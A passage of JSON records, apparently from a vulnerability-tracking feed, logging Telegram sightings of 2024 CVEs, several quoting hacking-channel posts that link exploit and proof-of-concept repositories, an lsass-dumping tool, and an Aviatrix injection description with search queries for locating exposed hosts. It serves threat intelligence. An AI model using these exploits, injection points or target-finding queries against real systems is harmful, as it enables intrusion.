"5b62cf47-a74f-4f72-b9b0-f12457f61840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5094", "type": "seen", "source": "Telegram/FJiS3EyrFNWdYtYI4yohvx_yJJD7wW_gq_hCf0U3I_1EFVLJ", "content": "", "creation_timestamp": "2025-02-14T09:47:00.000000Z"}, {"uuid": "2270a7dd-995b-42f2-8b2e-10b09b437983", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50430", "type": "seen", "source": "Telegram/RsqEL0ujPpmVy601fo6gIKpLTwkdL0eAqnR4cfxsn5wUpxWq", "content": "", "creation_timestamp": "2025-02-01T17:28:11.000000Z"}, {"uuid": "bc2eceee-238b-4e54-ab1d-7b2a0aad703b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5093", "type": "seen", "source": "Telegram/vftbfempVuMBERiUiFRVnkcjei6ytxfEYR7s9eUa66Oz6X-x", "content": "", "creation_timestamp": "2025-02-14T09:47:00.000000Z"}, {"uuid": "e636fe77-ebc5-4895-8148-27f65965bed1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5045", "type": "seen", "source": "Telegram/J00PrXUqTuSIMNboG9mH1UBrXh2x0SpMtBrTzN-mznY91xj7", "content": "", "creation_timestamp": "2025-02-14T09:46:59.000000Z"}, {"uuid": "4fc57423-238c-4b10-96d9-6d7cc780dac2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5035", "type": "seen", "source": "Telegram/Bt775oOb9iF9U63QgJqlWsaGieN4xj5kCHoA0MvD4vZbB4Ma", "content": "", "creation_timestamp": "2024-06-06T19:09:29.000000Z"}, {"uuid": "ced1513a-e9e5-4ed0-b197-9668454f1335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "Telegram/vu3f2ylH_2PGJRsYbe80bM6OoK4ocoWdB9ZnDReznYd9azc", "content": "", "creation_timestamp": "2025-01-15T13:03:20.000000Z"}, {"uuid": "c2b23f88-5fb0-41ab-9d18-7595b8571448", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5035", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/8798", "content": "The Hacker News\nTP-Link Gaming Router Vulnerability Exposes Users to Remote Code Attacks\n\nA maximum-severity security flaw has been disclosed in the TP-Link Archer C5400X gaming router that could lead to remote code execution on susceptible devices by sending specially crafted requests.\nThe vulnerability, tracked as CVE-2024-5035, carries a CVSS score of 10.0. It impacts all versions of the router firmware including and prior to 1_1.1.6. It has&nbsp", "creation_timestamp": "2024-05-28T11:53:22.000000Z"}, {"uuid": "f4e1e9d6-9695-41ff-8112-631d8dfb49d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "Telegram/eVIPFGRhkq3YCk2O8BWYITIBkjx0dvNLYbcNpq7wmBtPfw", "content": "", "creation_timestamp": "2024-12-24T11:23:07.000000Z"}, {"uuid": "9af75a68-e323-4144-9156-c9ee5ded8303", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50550", "type": "seen", "source": "Telegram/1tDohlDRxlW9GcuUW-kyNgehcBffUtqOzF6f6wGoxYUBGg", "content": "", "creation_timestamp": "2024-10-31T15:45:04.000000Z"}, {"uuid": "d405524a-9454-47ad-a0d5-736de15e9402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5035", "type": "published-proof-of-concept", "source": "Telegram/CrtkvWmm9Q7zVSud1FLKU-PDNNuRSTl6FkdwQ8YTfCoc6A", "content": "", "creation_timestamp": "2024-05-28T08:57:30.000000Z"}, {"uuid": "1d59ea4e-000b-4eb1-898d-30570fa366a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "Telegram/swGprnkkgaSSG18L5dyxxaSHlLaRSipDlGEfBJLR5IVZEA", "content": "", "creation_timestamp": "2025-01-26T13:55:14.000000Z"}, {"uuid": "1bceb8e3-45ca-49a7-91e8-4926f36ecdb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "Telegram/Hu_iMTBtvsWgg5k5QrNX2rwMjo4R2wJ3A_nn97Tc5GPfCg", "content": "", "creation_timestamp": "2025-01-13T16:48:35.000000Z"}, {"uuid": "49ff5ce7-a361-43d5-b3b8-b8f7940d8e1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/1392", "content": "#Github #Tools\n\nTool for reverse engineering macOS/OS X.\n\nhttps://github.com/steven-michaud/HookCase\n\nCVE-2024-50379: RCE through a race condition in Apache Tomcat\n\nPoC\nhttps://github.com/ph0ebus/Tomcat-CVE-2024-50379-Poc?tab=readme-ov-file\n\nawesome-linux-attack-forensics-purplelabs : Hands-on research around advanced Linux attacks, detection and forensics techniques and tools \n\nhttps://github.com/cr0nx/awesome-linux-attack-forensics-purplelabs\n\nA tool for automating cracking methodologies through Hashcat from the TrustedSec team.\n\nhttps://github.com/trustedsec/hate_crack\n\nCrystalDump : Dump lsass using only NTAPI functions by hand-crafting Minidump files (without MiniDumpWriteDump!!!) : \n\nhttps://github.com/ricardojoserf/NativeDump/tree/crystal-flavour  \n\n#HackersForum", "creation_timestamp": "2024-12-30T05:01:48.000000Z"}, {"uuid": "8aee7265-c14e-4cbc-8a56-a4b3ee40d74c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/CyberDilara/1370", "content": "#Github #Tools\n\n[WACV 2025] Official implementation of \"Face Anonymization Made Simple\"\n\nhttps://github.com/hanweikung/face_anon_simple\n\nTomcat CVE-2024-50379/CVE-2024-56337 \u6761\u4ef6\u7ade\u4e89\u6587\u4ef6\u4e0a\u4f20exp\n\nhttps://github.com/SleepingBag945/CVE-2024-50379\n\nHackthebox Theme For Terminal - A collection of config files for linux focusing on hackthebox theme based on the labsand academy platform.\n\nhttps://github.com/botnetbuddies/hackthebox-themes\n\nA BloodHound collector for Microsoft Configuration Manager\n\nhttps://github.com/CrowdStrike/sccmhound\n\nThis page is a result of the ongoing hands-on research around advanced Linux attacks, detection and forensics techniques and tools.\n\nhttps://github.com/cr0nx/awesome-linux-attack-forensics-purplelabs\n\nCVE-2024-50379 Exploitation and POC\n\nhttps://github.com/v3153/CVE-2024-50379-POC\n\n#HackersForum", "creation_timestamp": "2024-12-27T03:14:43.000000Z"}, {"uuid": "93546269-d6f9-4cf7-acec-9093cc1d7c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50483", "type": "seen", "source": "https://t.me/CyberDilara/1286", "content": "Tools - Hackers Factory \n\n#Purple_Team_Exercises\n\nPurple Team Exercise Framework (PTEF)\n\nhttps://github.com/scythe-io/purple-team-exercise-framework\n\nA new sandbox escape vulnerabilities at #POC2024\n \nblog post: https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/\n\nSlides:\nhttps://github.com/jhftss/jhftss.github.io/blob/main/res/slides/A%20New%20Era%20of%20macOS%20Sandbox%20Escapes.pdf\n\n#exploit\n\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\n\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\n\nhttps://github.com/imnotcha0s/CVE-2024-10914\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\n\nA web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK\u00ae framework.\n\nhttps://github.com/cisagov/decider\n\n#HackersFactory", "creation_timestamp": "2024-12-08T03:36:04.000000Z"}, {"uuid": "cc8be205-d436-4ce4-9eda-7ddad5e83eaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "Telegram/yyHU4AmcuvzMH7Mr_Iyg6WOXfkLoQk9lbnAqVqjqphJYHjY", "content": "", "creation_timestamp": "2024-08-09T09:36:15.000000Z"}, {"uuid": "07a98c36-a858-4892-b40e-6db29162d422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/562", "content": "Tools - Hackers Factory \n\nHellPot is an endless honeypot based on Heffalump that sends unruly HTTP bots to hell.\n\nhttps://github.com/yunginnanet/HellPot\n\nWork-in-progress date-time SQLite extension that will support timezones.\n\nhttps://github.com/asg017/sqlite-jiff\n\nSubdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.\n\nhttps://github.com/RevoltSecurities/Subdominator\n\nCVE-2024-4879 Exploit & PoC - Nuclei Template\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\nCVE-2024-34102: Unauthenticated Magento XXE.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-34102\n\nCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-5009 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-5009\n\nSubprober - An essential HTTP multi-purpose Probing Tool for Penetration Testers and Security Researchers with Asynchronous httpx client support.\n\nhttps://github.com/RevoltSecurities/SubProber\n\n#CyberDilara \nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-01T03:33:14.000000Z"}, {"uuid": "1918936f-c5cf-4c96-ac86-4b1400ae6d08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "Telegram/FUryBaeTd16I_Z_BI23kcNzYjlRgHXorESHpEaaZvMk8bEI", "content": "", "creation_timestamp": "2024-07-11T04:35:45.000000Z"}, {"uuid": "f5c68a2b-7acb-49f5-b1c7-8d39187124ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5035", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/1633", "content": "The Hacker News\nTP-Link Gaming Router Vulnerability Exposes Users to Remote Code Attacks\n\nA maximum-severity security flaw has been disclosed in the TP-Link Archer C5400X gaming router that could lead to remote code execution on susceptible devices by sending specially crafted requests.\nThe vulnerability, tracked as CVE-2024-5035, carries a CVSS score of 10.0. It impacts all versions of the router firmware including and prior to 1_1.1.6. It has&nbsp", "creation_timestamp": "2024-05-28T11:53:22.000000Z"}, {"uuid": "1e114806-6211-446f-a87f-a9231fb3c3fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5035", "type": "published-proof-of-concept", "source": "https://t.me/KomunitiSiber/2009", "content": "TP-Link Gaming Router Vulnerability Exposes Users to Remote Code Attacks\nhttps://thehackernews.com/2024/05/tp-link-gaming-router-vulnerability.html\n\nA maximum-severity security flaw has been disclosed in the\u00a0TP-Link Archer C5400X gaming router\u00a0that could lead to remote code execution on susceptible devices by sending specially crafted requests.\nThe vulnerability, tracked as\u00a0CVE-2024-5035, carries a CVSS score of 10.0. It impacts all versions of the router firmware\u00a0including\u00a0and\u00a0prior to\u00a01_1.1.6. It has&nbsp", "creation_timestamp": "2024-05-28T09:11:39.000000Z"}, {"uuid": "f6851073-8a08-4911-8341-fbcb83768440", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50550", "type": "seen", "source": "https://t.me/KomunitiSiber/2796", "content": "LiteSpeed Cache Plugin Vulnerability Poses Significant Risk to WordPress Websites\nhttps://thehackernews.com/2024/10/litespeed-cache-plugin-vulnerability.html\n\nA high-severity security flaw has been disclosed in the LiteSpeed Cache plugin for WordPress that could allow an unauthenticated threat actor to elevate their privileges and perform malicious actions.\nThe vulnerability, tracked as CVE-2024-50550 (CVSS score: 8.1), has been addressed in version 6.5.2 of the plugin.\n\"The plugin suffers from an unauthenticated privilege escalation vulnerability", "creation_timestamp": "2024-10-31T14:38:57.000000Z"}, {"uuid": "26f8f7fd-b291-4d08-a0d3-84d736209902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "Telegram/QaDCHeyCTQEDx9YMMCpkZWSmm-dNNJ2lC0YJEGLd_C3RP10", "content": "", "creation_timestamp": "2025-03-31T21:00:07.000000Z"}, {"uuid": "ff4f93e3-9d45-4128-bae5-69732389446c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50492", "type": "published-proof-of-concept", "source": "Telegram/yRj3rvTPwwJJrmgfCfqzU7qpeXOxuv70IH7oKMdEI3GidpE", "content": "", "creation_timestamp": "2025-03-26T10:00:06.000000Z"}, {"uuid": "29eb32de-b76a-44cf-b2bb-14aa05284acf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "published-proof-of-concept", "source": "Telegram/qbRDczufhEAwfoxE7jsw2afVmX33EpB44LRknpUqHzmwaHs", "content": "", "creation_timestamp": "2025-01-16T22:00:05.000000Z"}, {"uuid": "1d101c36-2c9d-4804-8469-9af632f5a814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50404", "type": "published-proof-of-concept", "source": "Telegram/ycMWZ5EdqiWon2lWkuZzh1qRhqzOeYjmsdC2JSaGEmKWMXA", "content": "", "creation_timestamp": "2025-01-13T16:00:09.000000Z"}, {"uuid": "974c1658-57cd-49ca-a8de-4bb1371bf4de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "Telegram/cacBQ5bN-vmwnt3DR7dLi1PlBkYQLfgr4qnQira8PDCN7qo", "content": "", "creation_timestamp": "2025-01-23T20:00:07.000000Z"}, {"uuid": "bf78cd2e-6c3b-4cd7-922f-59ea5ed3ece7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "Telegram/LP1aIPk-AqT4UlTzgS4QSA_6Iy4XQeN8b-9YQBsDnSHrbTw", "content": "", "creation_timestamp": "2025-01-23T16:00:09.000000Z"}, {"uuid": "75e8eeae-3898-45ce-acdf-ceb7c23d4ba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "published-proof-of-concept", "source": "Telegram/CnSJIlwsmtYQ5DnVyDShDs9kLJfcNiJNBwl0HypWhj2WPWI", "content": "", "creation_timestamp": "2025-01-12T22:00:05.000000Z"}, {"uuid": "9f63fedd-ad46-442e-ad1e-ee1ef3392ee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "Telegram/Oxq5SO8-21GQipP6NIDCbdDkAA225btYdW6eEU8zypkEJg0", "content": "", "creation_timestamp": "2025-03-15T22:00:06.000000Z"}, {"uuid": "0bcad018-7637-4376-ae6f-338d8fe9e58d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "Telegram/Y_xPY5an29zAjBEjsanjtpLbpBVw7mFfDR_wSaO-iTXPUi8", "content": "", "creation_timestamp": "2025-03-11T00:00:12.000000Z"}, {"uuid": "6ab7c22b-1d1c-4715-a412-d66b4ae51ac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "Telegram/kVJLfrzqzFDzMEQqpoUmUp6GwO_SK6INlXOcFg_lbdv1buw", "content": "", "creation_timestamp": "2025-03-04T04:00:14.000000Z"}, {"uuid": "acb4b756-26a5-445b-9d48-6986d87da163", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "Telegram/QJNKafZ39RPUBf0W2FOX1OlC1JbKcylQtoMgEZm-Z-wGay4", "content": "", "creation_timestamp": "2025-03-04T04:00:07.000000Z"}, {"uuid": "aa6ade9e-0e01-4695-ad80-56676759813c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "Telegram/82a2CCv2PPefBAywwzeR-yS_ueYglGvjGZeFL5Nia0p4qd8", "content": "", "creation_timestamp": "2025-03-22T08:00:11.000000Z"}, {"uuid": "c9335661-dfe1-4dce-98a0-33aebfeb4844", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/8444", "content": "Tools - Hackers Factory \n\nHellPot is an endless honeypot based on Heffalump that sends unruly HTTP bots to hell.\n\nhttps://github.com/yunginnanet/HellPot\n\nWork-in-progress date-time SQLite extension that will support timezones.\n\nhttps://github.com/asg017/sqlite-jiff\n\nSubdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.\n\nhttps://github.com/RevoltSecurities/Subdominator\n\nCVE-2024-4879 Exploit & PoC - Nuclei Template\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\nCVE-2024-34102: Unauthenticated Magento XXE.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-34102\n\nCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-5009 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-5009\n\nSubprober - An essential HTTP multi-purpose Probing Tool for Penetration Testers and Security Researchers with Asynchronous httpx client support.\n\nhttps://github.com/RevoltSecurities/SubProber\n\n#CyberDilara \nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-01T03:55:12.000000Z"}, {"uuid": "ad850c46-fb51-4ab7-8f9c-bb8068043e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/9207", "content": "#Github #Tools\n\n[WACV 2025] Official implementation of \"Face Anonymization Made Simple\"\n\nhttps://github.com/hanweikung/face_anon_simple\n\nTomcat CVE-2024-50379/CVE-2024-56337 \u6761\u4ef6\u7ade\u4e89\u6587\u4ef6\u4e0a\u4f20exp\n\nhttps://github.com/SleepingBag945/CVE-2024-50379\n\nHackthebox Theme For Terminal - A collection of config files for linux focusing on hackthebox theme based on the labsand academy platform.\n\nhttps://github.com/botnetbuddies/hackthebox-themes\n\nA BloodHound collector for Microsoft Configuration Manager\n\nhttps://github.com/CrowdStrike/sccmhound\n\nThis page is a result of the ongoing hands-on research around advanced Linux attacks, detection and forensics techniques and tools.\n\nhttps://github.com/cr0nx/awesome-linux-attack-forensics-purplelabs\n\nCVE-2024-50379 Exploitation and POC\n\nhttps://github.com/v3153/CVE-2024-50379-POC\n\n#HackersForum", "creation_timestamp": "2024-12-27T03:14:48.000000Z"}, {"uuid": "747cc8f8-e17f-4653-b007-88905d23e977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50483", "type": "seen", "source": "https://t.me/GrayHatsHack/9111", "content": "Tools - Hackers Factory \n\n#Purple_Team_Exercises\n\nPurple Team Exercise Framework (PTEF)\n\nhttps://github.com/scythe-io/purple-team-exercise-framework\n\nA new sandbox escape vulnerabilities at #POC2024\n \nblog post: https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/\n\nSlides:\nhttps://github.com/jhftss/jhftss.github.io/blob/main/res/slides/A%20New%20Era%20of%20macOS%20Sandbox%20Escapes.pdf\n\n#exploit\n\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\n\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\n\nhttps://github.com/imnotcha0s/CVE-2024-10914\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\n\nA web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK\u00ae framework.\n\nhttps://github.com/cisagov/decider\n\n#HackersFactory", "creation_timestamp": "2024-12-08T03:49:57.000000Z"}, {"uuid": "795a92dc-677c-4ccb-b798-81225b3cc461", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/9224", "content": "#Github #Tools\n\nTool for reverse engineering macOS/OS X.\n\nhttps://github.com/steven-michaud/HookCase\n\nCVE-2024-50379: RCE through a race condition in Apache Tomcat\n\nPoC\nhttps://github.com/ph0ebus/Tomcat-CVE-2024-50379-Poc?tab=readme-ov-file\n\nawesome-linux-attack-forensics-purplelabs : Hands-on research around advanced Linux attacks, detection and forensics techniques and tools \n\nhttps://github.com/cr0nx/awesome-linux-attack-forensics-purplelabs\n\nA tool for automating cracking methodologies through Hashcat from the TrustedSec team.\n\nhttps://github.com/trustedsec/hate_crack\n\nCrystalDump : Dump lsass using only NTAPI functions by hand-crafting Minidump files (without MiniDumpWriteDump!!!) : \n\nhttps://github.com/ricardojoserf/NativeDump/tree/crystal-flavour  \n\n#HackersForum", "creation_timestamp": "2024-12-30T05:01:52.000000Z"}, {"uuid": "aa1983b1-3966-469c-b0e1-9098db690669", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50483", "type": "seen", "source": "https://t.me/GrayHatsHack/9113", "content": "Tools - Hackers Factory \n\n#Purple_Team_Exercises\n\nPurple Team Exercise Framework (PTEF)\n\nhttps://github.com/scythe-io/purple-team-exercise-framework\n\nA new sandbox escape vulnerabilities at #POC2024\n \nblog post: https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/\n\nSlides:\nhttps://github.com/jhftss/jhftss.github.io/blob/main/res/slides/A%20New%20Era%20of%20macOS%20Sandbox%20Escapes.pdf\n\n#exploit\n\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\n\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\n\nhttps://github.com/imnotcha0s/CVE-2024-10914\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\n\nA web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK\u00ae framework.\n\nhttps://github.com/cisagov/decider\n\n#HackersFactory", "creation_timestamp": "2024-12-10T04:28:56.000000Z"}, {"uuid": "5458031a-d945-4df9-bd60-334bda6e054d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "published-proof-of-concept", "source": "https://t.me/kindevilsorg/14", "content": "\ud83e\udd77CVE-2024-50603  Unauthenticated RCE\n\n\ud83d\udcbeDescription: An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.\n\n\ud83c\udf83Search Engine Queries :\nShodan - http.title:\"aviatrix controller\nFofa - title=\"aviatrix cloud controller\"\nGoogle - intitle:\"aviatrix cloud controller\"\nZoomEye - app=\"Aviatrix Controller\"\n\n\n\ud83d\udd75\u200d\u2642\ufe0fNuclei Template - https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-50603.yaml\n\n\nJoin @kindevilsorg", "creation_timestamp": "2025-01-14T13:40:33.000000Z"}, {"uuid": "083a0ec3-58d9-409f-a58d-6f23773069eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/4128", "content": "#GitHub #Tools \n\nA tool to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Access Control Entries (ACEs).\n\nhttps://github.com/Leo4j/PowerDACL\n\nTomcat CVE-2024-50379/CVE-2024-56337 \u6761\u4ef6\u7ade\u4e89\u6587\u4ef6\u4e0a\u4f20exp\n\nhttps://github.com/SleepingBag945/CVE-2024-50379\n\nShort, but interesting list of sensitive data and bug bounty dorks.\n\nhttps://github.com/fatguru/dorks\n\nOpen source obfuscation tool for .NET assemblies\n\nhttps://github.com/obfuscar/obfuscar\n\nCrlfuzz tool vs my nuclei template:\ncrlfuzz only detected crlf in one target from list but my template finded more with GBK encoding payload also.\n\nhttps://github.com/coffinxp/nuclei-templates/blob/main/cRlf.yaml\n\n#Tools@dilagrafie", "creation_timestamp": "2025-01-29T08:06:35.000000Z"}, {"uuid": "04deee48-390a-4692-8625-16ac60ed48ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3581", "content": "Tools - Hackers Factory \n\nHellPot is an endless honeypot based on Heffalump that sends unruly HTTP bots to hell.\n\nhttps://github.com/yunginnanet/HellPot\n\nWork-in-progress date-time SQLite extension that will support timezones.\n\nhttps://github.com/asg017/sqlite-jiff\n\nSubdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.\n\nhttps://github.com/RevoltSecurities/Subdominator\n\nCVE-2024-4879 Exploit & PoC - Nuclei Template\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\nCVE-2024-34102: Unauthenticated Magento XXE.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous 